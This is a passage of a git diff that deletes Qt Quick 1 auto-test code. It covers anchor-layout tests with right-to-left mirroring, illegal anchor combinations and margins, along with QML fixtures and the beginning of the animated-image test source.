//sibling horizontal - QCOMPARE(childItem(rootItem, "rect1")->x(), offsetMasterRTL(rootItem, "rect1")-26.0); - QCOMPARE(childItem(rootItem, "rect2")->x(), offsetMasterRTL(rootItem, "rect2")-122.0); - QCOMPARE(childItem(rootItem, "rect3")->x(), offsetMasterRTL(rootItem, "rect3")-74.0); - QCOMPARE(childItem(rootItem, "rect4")->x(), offsetMasterRTL(rootItem, "rect4")-16.0); - QCOMPARE(childItem(rootItem, "rect5")->x(), offsetMasterRTL(rootItem, "rect5")-112.0); - QCOMPARE(childItem(rootItem, "rect6")->x(), offsetMasterRTL(rootItem, "rect6")-64.0); - - //parent horizontal - QCOMPARE(childItem(rootItem, "rect7")->x(), offsetParentRTL(rootItem, "rect7")-0.0); - QCOMPARE(childItem(rootItem, "rect8")->x(), offsetParentRTL(rootItem, "rect8")-240.0); - QCOMPARE(childItem(rootItem, "rect9")->x(), offsetParentRTL(rootItem, "rect9")-120.0); - QCOMPARE(childItem(rootItem, "rect10")->x(), offsetParentRTL(rootItem, "rect10")+10.0); - QCOMPARE(childItem(rootItem, "rect11")->x(), offsetParentRTL(rootItem, "rect11")-230.0); - QCOMPARE(childItem(rootItem, "rect12")->x(), offsetParentRTL(rootItem, "rect12")-110.0); - - //vertical - QCOMPARE(childItem(rootItem, "rect13")->y(), 20.0); - QCOMPARE(childItem(rootItem, "rect14")->y(), 155.0); - - //stretch - QCOMPARE(childItem(rootItem, "rect15")->x(), offsetMasterRTL(rootItem, "rect15")-26.0); - QCOMPARE(childItem(rootItem, "rect15")->width(), 96.0); - QCOMPARE(childItem(rootItem, "rect16")->x(), offsetMasterRTL(rootItem, "rect16")-26.0); - QCOMPARE(childItem(rootItem, "rect16")->width(), 192.0); - QCOMPARE(childItem(rootItem, "rect17")->x(), offsetMasterRTL(rootItem, "rect17")+70.0); - QCOMPARE(childItem(rootItem, "rect17")->width(), 192.0); - - //vertical stretch - QCOMPARE(childItem(rootItem, "rect18")->y(), 20.0); - QCOMPARE(childItem(rootItem, "rect18")->height(), 40.0); - - //more parent horizontal - QCOMPARE(childItem(rootItem, "rect19")->x(), offsetParentRTL(rootItem, "rect19")-115.0); - QCOMPARE(childItem(rootItem, "rect20")->x(), offsetParentRTL(rootItem, "rect20")-235.0); - QCOMPARE(childItem(rootItem, "rect21")->x(), offsetParentRTL(rootItem, "rect21")+5.0); - - //centerIn - QCOMPARE(childItem(rootItem, "rect22")->x(), offsetMasterRTL(rootItem, "rect22")-69.0); - QCOMPARE(childItem(rootItem, "rect22")->y(), 5.0); - - //margins - QCOMPARE(childItem(rootItem, "rect23")->x(), offsetMasterRTL(rootItem, "rect23")-31.0); - QCOMPARE(childItem(rootItem, "rect23")->y(), 5.0); - QCOMPARE(childItem(rootItem, "rect23")->width(), 86.0); - QCOMPARE(childItem(rootItem, "rect23")->height(), 10.0); - - // offsets - QCOMPARE(childItem(rootItem, "rect24")->x(), offsetMasterRTL(rootItem, "rect24")-26.0); - QCOMPARE(childItem(rootItem, "rect25")->y(), 60.0); - QCOMPARE(childItem(rootItem, "rect26")->y(), 5.0); - - //baseline - QDeclarative1Text *text1 = findItem(rootItem, QLatin1String("text1")); - QDeclarative1Text *text2 = findItem(rootItem, QLatin1String("text2")); - QCOMPARE(text1->y(), text2->y()); - - delete view; -} - -// mostly testing that we don't crash -void tst_QDeclarative1Anchors::loops() -{ - { - QUrl source(QUrl::fromLocalFile(SRCDIR "/data/loop1.qml")); - - QString expect = source.toString() + ":6:5: QML Text: Possible anchor loop detected on horizontal anchor."; - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - - QDeclarativeView *view = new QDeclarativeView; - view->setSource(source); - qApp->processEvents(); - - delete view; - } - - { - QSKIP("This causes a lockup due to Bearer management stuff"); - QUrl source(QUrl::fromLocalFile(SRCDIR "/data/loop2.qml")); - - QString expect = source.toString() + ":8:3: QML Image: Possible anchor loop detected on horizontal anchor."; - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - - QDeclarativeView *view = new QDeclarativeView; - view->setSource(source); - qApp->processEvents(); - - delete view; - } -} - -void tst_QDeclarative1Anchors::illegalSets() -{ - QFETCH(QString, qml); - QFETCH(QString, warning); - - QTest::ignoreMessage(QtWarningMsg, warning.toLatin1()); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\n" + qml.toUtf8()), QUrl::fromLocalFile("")); - if (!component.isReady()) - qWarning() << "Test errors:" << component.errors(); - QVERIFY(component.isReady()); - QObject *o = component.create(); - delete o; -} - -void tst_QDeclarative1Anchors::illegalSets_data() -{ - QTest::addColumn("qml"); - QTest::addColumn("warning"); - - QTest::newRow("H - too many anchors") - << "Rectangle { id: rect; Rectangle { anchors.left: rect.left; anchors.right: rect.right; anchors.horizontalCenter: rect.horizontalCenter } }" - << "file::2:23: QML Rectangle: Cannot specify left, right, and hcenter anchors."; - - foreach (const QString &side, QStringList() << "left" << "right") { - QTest::newRow("H - anchor to V") - << QString("Rectangle { Rectangle { anchors.%1: parent.top } }").arg(side) - << "file::2:13: QML Rectangle: Cannot anchor a horizontal edge to a vertical edge."; - - QTest::newRow("H - anchor to non parent/sibling") - << QString("Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.%1: rect.%1 } }").arg(side) - << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling."; - - QTest::newRow("H - anchor to self") - << QString("Rectangle { id: rect; anchors.%1: rect.%1 }").arg(side) - << "file::2:1: QML Rectangle: Cannot anchor item to self."; - } - - - QTest::newRow("V - too many anchors") - << "Rectangle { id: rect; Rectangle { anchors.top: rect.top; anchors.bottom: rect.bottom; anchors.verticalCenter: rect.verticalCenter } }" - << "file::2:23: QML Rectangle: Cannot specify top, bottom, and vcenter anchors."; - - QTest::newRow("V - too many anchors with baseline") - << "Rectangle { Text { id: text1; text: \"Hello\" } Text { anchors.baseline: text1.baseline; anchors.top: text1.top; } }" - << "file::2:47: QML Text: Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors."; - - foreach (const QString &side, QStringList() << "top" << "bottom" << "baseline") { - - QTest::newRow("V - anchor to H") - << QString("Rectangle { Rectangle { anchors.%1: parent.left } }").arg(side) - << "file::2:13: QML Rectangle: Cannot anchor a vertical edge to a horizontal edge."; - - QTest::newRow("V - anchor to non parent/sibling") - << QString("Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.%1: rect.%1 } }").arg(side) - << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling."; - - QTest::newRow("V - anchor to self") - << QString("Rectangle { id: rect; anchors.%1: rect.%1 }").arg(side) - << "file::2:1: QML Rectangle: Cannot anchor item to self."; - } - - - QTest::newRow("centerIn - anchor to non parent/sibling") - << "Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.centerIn: rect} }" - << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling."; - - - QTest::newRow("fill - anchor to non parent/sibling") - << "Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.fill: rect} }" - << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling."; -} - -void tst_QDeclarative1Anchors::reset() -{ - QFETCH(QString, side); - QFETCH(QDeclarative1AnchorLine::AnchorLine, anchorLine); - QFETCH(QDeclarative1Anchors::Anchor, usedAnchor); - - QDeclarativeItem *baseItem = new QDeclarativeItem; - - QDeclarative1AnchorLine anchor; - anchor.item = baseItem; - anchor.anchorLine = anchorLine; - - QDeclarativeItem *item = new QDeclarativeItem; - QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item); - - const QMetaObject *meta = itemPrivate->anchors()->metaObject(); - QMetaProperty p = meta->property(meta->indexOfProperty(side.toUtf8().constData())); - - QVERIFY(p.write(itemPrivate->anchors(), qVariantFromValue(anchor))); - QCOMPARE(itemPrivate->anchors()->usedAnchors().testFlag(usedAnchor), true); - - QVERIFY(p.reset(itemPrivate->anchors())); - QCOMPARE(itemPrivate->anchors()->usedAnchors().testFlag(usedAnchor), false); - - delete item; - delete baseItem; -} - -void tst_QDeclarative1Anchors::reset_data() -{ - QTest::addColumn("side"); - QTest::addColumn("anchorLine"); - QTest::addColumn("usedAnchor"); - - QTest::newRow("left") << "left" << QDeclarative1AnchorLine::Left << QDeclarative1Anchors::LeftAnchor; - QTest::newRow("top") << "top" << QDeclarative1AnchorLine::Top << QDeclarative1Anchors::TopAnchor; - QTest::newRow("right") << "right" << QDeclarative1AnchorLine::Right << QDeclarative1Anchors::RightAnchor; - QTest::newRow("bottom") << "bottom" << QDeclarative1AnchorLine::Bottom << QDeclarative1Anchors::BottomAnchor; - - QTest::newRow("hcenter") << "horizontalCenter" << QDeclarative1AnchorLine::HCenter << QDeclarative1Anchors::HCenterAnchor; - QTest::newRow("vcenter") << "verticalCenter" << QDeclarative1AnchorLine::VCenter << QDeclarative1Anchors::VCenterAnchor; - QTest::newRow("baseline") << "baseline" << QDeclarative1AnchorLine::Baseline << QDeclarative1Anchors::BaselineAnchor; -} - -void tst_QDeclarative1Anchors::resetConvenience() -{ - QDeclarativeItem *baseItem = new QDeclarativeItem; - QDeclarativeItem *item = new QDeclarativeItem; - QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item); - - //fill - itemPrivate->anchors()->setFill(baseItem); - QVERIFY(itemPrivate->anchors()->fill() == baseItem); - itemPrivate->anchors()->resetFill(); - QVERIFY(itemPrivate->anchors()->fill() == 0); - - //centerIn - itemPrivate->anchors()->setCenterIn(baseItem); - QVERIFY(itemPrivate->anchors()->centerIn() == baseItem); - itemPrivate->anchors()->resetCenterIn(); - QVERIFY(itemPrivate->anchors()->centerIn() == 0); - - delete item; - delete baseItem; -} - -void tst_QDeclarative1Anchors::nullItem() -{ - QFETCH(QString, side); - - QDeclarative1AnchorLine anchor; - QDeclarativeItem *item = new QDeclarativeItem; - QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item); - - const QMetaObject *meta = itemPrivate->anchors()->metaObject(); - QMetaProperty p = meta->property(meta->indexOfProperty(side.toUtf8().constData())); - - QTest::ignoreMessage(QtWarningMsg, ": QML Item: Cannot anchor to a null item."); - QVERIFY(p.write(itemPrivate->anchors(), qVariantFromValue(anchor))); - - delete item; -} - -void tst_QDeclarative1Anchors::nullItem_data() -{ - QTest::addColumn("side"); - - QTest::newRow("left") << "left"; - QTest::newRow("top") << "top"; - QTest::newRow("right") << "right"; - QTest::newRow("bottom") << "bottom"; - - QTest::newRow("hcenter") << "horizontalCenter"; - QTest::newRow("vcenter") << "verticalCenter"; - QTest::newRow("baseline") << "baseline"; -} - -void tst_QDeclarative1Anchors::crash1() -{ - QUrl source(QUrl::fromLocalFile(SRCDIR "/data/crash1.qml")); - - QString expect = source.toString() + ":4:5: QML Text: Possible anchor loop detected on fill."; - - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - - // QT-3245 ... anchor loop detection needs improving. - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - QTest::ignoreMessage(QtWarningMsg, expect.toLatin1()); - - QDeclarativeView *view = new QDeclarativeView(source); - qApp->processEvents(); - - delete view; -} - -void tst_QDeclarative1Anchors::fill() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/fill.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("filler")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QCOMPARE(rect->x(), 0.0 + 10.0); - QCOMPARE(rect->y(), 0.0 + 30.0); - QCOMPARE(rect->width(), 200.0 - 10.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 30.0 - 40.0); - //Alter Offsets (tests QTBUG-6631) - rectPrivate->anchors()->setLeftMargin(20.0); - rectPrivate->anchors()->setRightMargin(0.0); - rectPrivate->anchors()->setBottomMargin(0.0); - rectPrivate->anchors()->setTopMargin(10.0); - QCOMPARE(rect->x(), 0.0 + 20.0); - QCOMPARE(rect->y(), 0.0 + 10.0); - QCOMPARE(rect->width(), 200.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 10.0); - - delete view; -} - -void tst_QDeclarative1Anchors::fillRTL() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/fill.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("filler")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - mirrorAnchors(rect); - - QCOMPARE(rect->x(), 0.0 + 20.0); - QCOMPARE(rect->y(), 0.0 + 30.0); - QCOMPARE(rect->width(), 200.0 - 10.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 30.0 - 40.0); - //Alter Offsets (tests QTBUG-6631) - rectPrivate->anchors()->setLeftMargin(20.0); - rectPrivate->anchors()->setRightMargin(0.0); - rectPrivate->anchors()->setBottomMargin(0.0); - rectPrivate->anchors()->setTopMargin(10.0); - QCOMPARE(rect->x(), 0.0 + 0.0); - QCOMPARE(rect->y(), 0.0 + 10.0); - QCOMPARE(rect->width(), 200.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 10.0); - - delete view; -} -void tst_QDeclarative1Anchors::centerIn() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/centerin.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("centered")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QCOMPARE(rect->x(), 75.0 + 10); - QCOMPARE(rect->y(), 75.0 + 30); - //Alter Offsets (tests QTBUG-6631) - rectPrivate->anchors()->setHorizontalCenterOffset(-20.0); - rectPrivate->anchors()->setVerticalCenterOffset(-10.0); - QCOMPARE(rect->x(), 75.0 - 20.0); - QCOMPARE(rect->y(), 75.0 - 10.0); - - delete view; -} - - -void tst_QDeclarative1Anchors::centerInRTL() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/centerin.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("centered")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - mirrorAnchors(rect); - - QCOMPARE(rect->x(), 75.0 - 10); - QCOMPARE(rect->y(), 75.0 + 30); - //Alter Offsets (tests QTBUG-6631) - rectPrivate->anchors()->setHorizontalCenterOffset(-20.0); - rectPrivate->anchors()->setVerticalCenterOffset(-10.0); - QCOMPARE(rect->x(), 75.0 + 20.0); - QCOMPARE(rect->y(), 75.0 - 10.0); - - delete view; -} - -void tst_QDeclarative1Anchors::hvCenter() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/hvCenter.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("centered")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - // test QTBUG-10999 - QCOMPARE(rect->x(), 10.0); - QCOMPARE(rect->y(), 19.0); - - rectPrivate->anchors()->setHorizontalCenterOffset(-5.0); - rectPrivate->anchors()->setVerticalCenterOffset(5.0); - QCOMPARE(rect->x(), 10.0 - 5.0); - QCOMPARE(rect->y(), 19.0 + 5.0); - - delete view; -} - -void tst_QDeclarative1Anchors::hvCenterRTL() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/hvCenter.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("centered")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - mirrorAnchors(rect); - - // test QTBUG-10999 - QCOMPARE(rect->x(), 10.0); - QCOMPARE(rect->y(), 19.0); - - rectPrivate->anchors()->setHorizontalCenterOffset(-5.0); - rectPrivate->anchors()->setVerticalCenterOffset(5.0); - QCOMPARE(rect->x(), 10.0 + 5.0); - QCOMPARE(rect->y(), 19.0 + 5.0); - - delete view; -} -void tst_QDeclarative1Anchors::margins() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/margins.qml")); - - qApp->processEvents(); - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("filler")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QCOMPARE(rect->x(), 5.0); - QCOMPARE(rect->y(), 6.0); - QCOMPARE(rect->width(), 200.0 - 5.0 - 10.0); - QCOMPARE(rect->height(), 200.0 - 6.0 - 10.0); - - rectPrivate->anchors()->setTopMargin(0.0); - rectPrivate->anchors()->setMargins(20.0); - - QCOMPARE(rect->x(), 5.0); - QCOMPARE(rect->y(), 20.0); - QCOMPARE(rect->width(), 200.0 - 5.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 20.0 - 20.0); - - delete view; -} - -void tst_QDeclarative1Anchors::marginsRTL() -{ - QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/margins.qml")); - - QDeclarative1Rectangle* rect = findItem(view->rootObject(), QLatin1String("filler")); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - mirrorAnchors(rect); - - QCOMPARE(rect->x(), 10.0); - QCOMPARE(rect->y(), 6.0); - QCOMPARE(rect->width(), 200.0 - 5.0 - 10.0); - QCOMPARE(rect->height(), 200.0 - 6.0 - 10.0); - - rectPrivate->anchors()->setTopMargin(0.0); - rectPrivate->anchors()->setMargins(20.0); - - QCOMPARE(rect->x(), 20.0); - QCOMPARE(rect->y(), 20.0); - QCOMPARE(rect->width(), 200.0 - 5.0 - 20.0); - QCOMPARE(rect->height(), 200.0 - 20.0 - 20.0); - - delete view; -} - - -QTEST_MAIN(tst_QDeclarative1Anchors) - -#include "tst_qdeclarativeanchors.moc" diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.gif b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.gif deleted file mode 100644 index 1270bfaa79..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.gif and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.qml deleted file mode 100644 index 51deb56b18..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/colors.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - source: "colors.gif" -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.gif deleted file mode 100644 index cfb55f27f5..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.gif and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.qml deleted file mode 100644 index 8729dd2ef2..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/hearts.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - source: "hearts.gif" - playing: false -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qmldir b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qmldir deleted file mode 100644 index ef7c1f44f3..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qmldir +++ /dev/null @@ -1 +0,0 @@ -# No local types diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qtbug-16520.qml deleted file mode 100644 index cf5b60110b..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/qtbug-16520.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 500 - height: 500 - - AnimatedImage { - objectName: "anim" - anchors.centerIn: parent - asynchronous: true - opacity: status == AnimatedImage.Ready ? 1 : 0 - - Behavior on opacity { - NumberAnimation { duration: 1000 } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.gif b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.gif deleted file mode 100644 index 7c4cd18687..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.gif and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.qml deleted file mode 100644 index d44937f913..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickman.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - source: "stickman.gif" -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanerror1.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanerror1.qml deleted file mode 100644 index f08f74da56..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanerror1.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - sourceSize: "240x180" - source: "stickman.gif" -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanpause.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanpause.qml deleted file mode 100644 index 1d7e25909f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanpause.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - source: "stickman.gif" - paused: true - currentFrame: 2 -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanscaled.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanscaled.qml deleted file mode 100644 index 8b24d73715..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanscaled.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - width: 240 - height: 180 - source: "stickman.gif" -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanstopped.qml b/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanstopped.qml deleted file mode 100644 index c5b14137e3..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/data/stickmanstopped.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -AnimatedImage { - source: "stickman.gif" - playing: false -} diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro b/tests/auto/qtquick1/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro deleted file mode 100644 index 21c846b4eb..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeanimatedimage -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativeanimatedimage.cpp ../../shared/testhttpserver.cpp -macx:CONFIG -= app_bundle - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/qtquick1/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp deleted file mode 100644 index 5545705341..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ /dev/null @@ -1,381 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "../../shared/testhttpserver.h" - -class tst_qdeclarativeanimatedimage : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeanimatedimage() {} - -private slots: - void play(); - void pause(); - void stopped(); - void setFrame(); - void frameCount(); - void mirror_running(); - void mirror_notRunning(); - void mirror_notRunning_data(); - void remote(); - void remote_data(); - void sourceSize(); - void sourceSizeReadOnly(); - void invalidSource(); - void qtbug_16520(); - void progressAndStatusChanges(); - -private: - QPixmap grabScene(QGraphicsScene *scene, int width, int height); -}; - -QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height) -{ - QPixmap screenshot(width, height); - screenshot.fill(); - QPainter p_screenshot(&screenshot); - scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); - return screenshot; -} - -void tst_qdeclarativeanimatedimage::play() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickman.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QVERIFY(anim->isPlaying()); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::pause() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QVERIFY(anim->isPlaying()); - QVERIFY(anim->isPaused()); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::stopped() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QVERIFY(!anim->isPlaying()); - QCOMPARE(anim->currentFrame(), 0); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::setFrame() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QVERIFY(anim->isPlaying()); - QCOMPARE(anim->currentFrame(), 2); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::frameCount() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/colors.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QVERIFY(anim->isPlaying()); - QCOMPARE(anim->frameCount(), 3); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::mirror_running() -{ - // test where mirror is set to true after animation has started - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - - QGraphicsScene scene; - int width = anim->property("width").toInt(); - int height = anim->property("height").toInt(); - scene.addItem(qobject_cast(anim)); - - QCOMPARE(anim->currentFrame(), 0); - QPixmap frame0 = grabScene(&scene, width, height); - anim->setCurrentFrame(1); - QPixmap frame1 = grabScene(&scene, width, height); - - anim->setCurrentFrame(0); - - QSignalSpy spy(anim, SIGNAL(frameChanged())); - anim->setPlaying(true); - - QTRY_VERIFY(spy.count() == 1); spy.clear(); - anim->setProperty("mirror", true); - - QCOMPARE(anim->currentFrame(), 1); - QPixmap frame1_flipped = grabScene(&scene, width, height); - - QTRY_VERIFY(spy.count() == 1); spy.clear(); - QCOMPARE(anim->currentFrame(), 0); // animation only has 2 frames, should cycle back to first - QPixmap frame0_flipped = grabScene(&scene, width, height); - - QTransform transform; - transform.translate(width, 0).scale(-1, 1.0); - QPixmap frame0_expected = frame0.transformed(transform); - QPixmap frame1_expected = frame1.transformed(transform); - - QCOMPARE(frame0_flipped, frame0_expected); - QCOMPARE(frame1_flipped, frame1_expected); -} - -void tst_qdeclarativeanimatedimage::mirror_notRunning() -{ - QFETCH(QUrl, fileUrl); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, fileUrl); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - - QGraphicsScene scene; - int width = anim->property("width").toInt(); - int height = 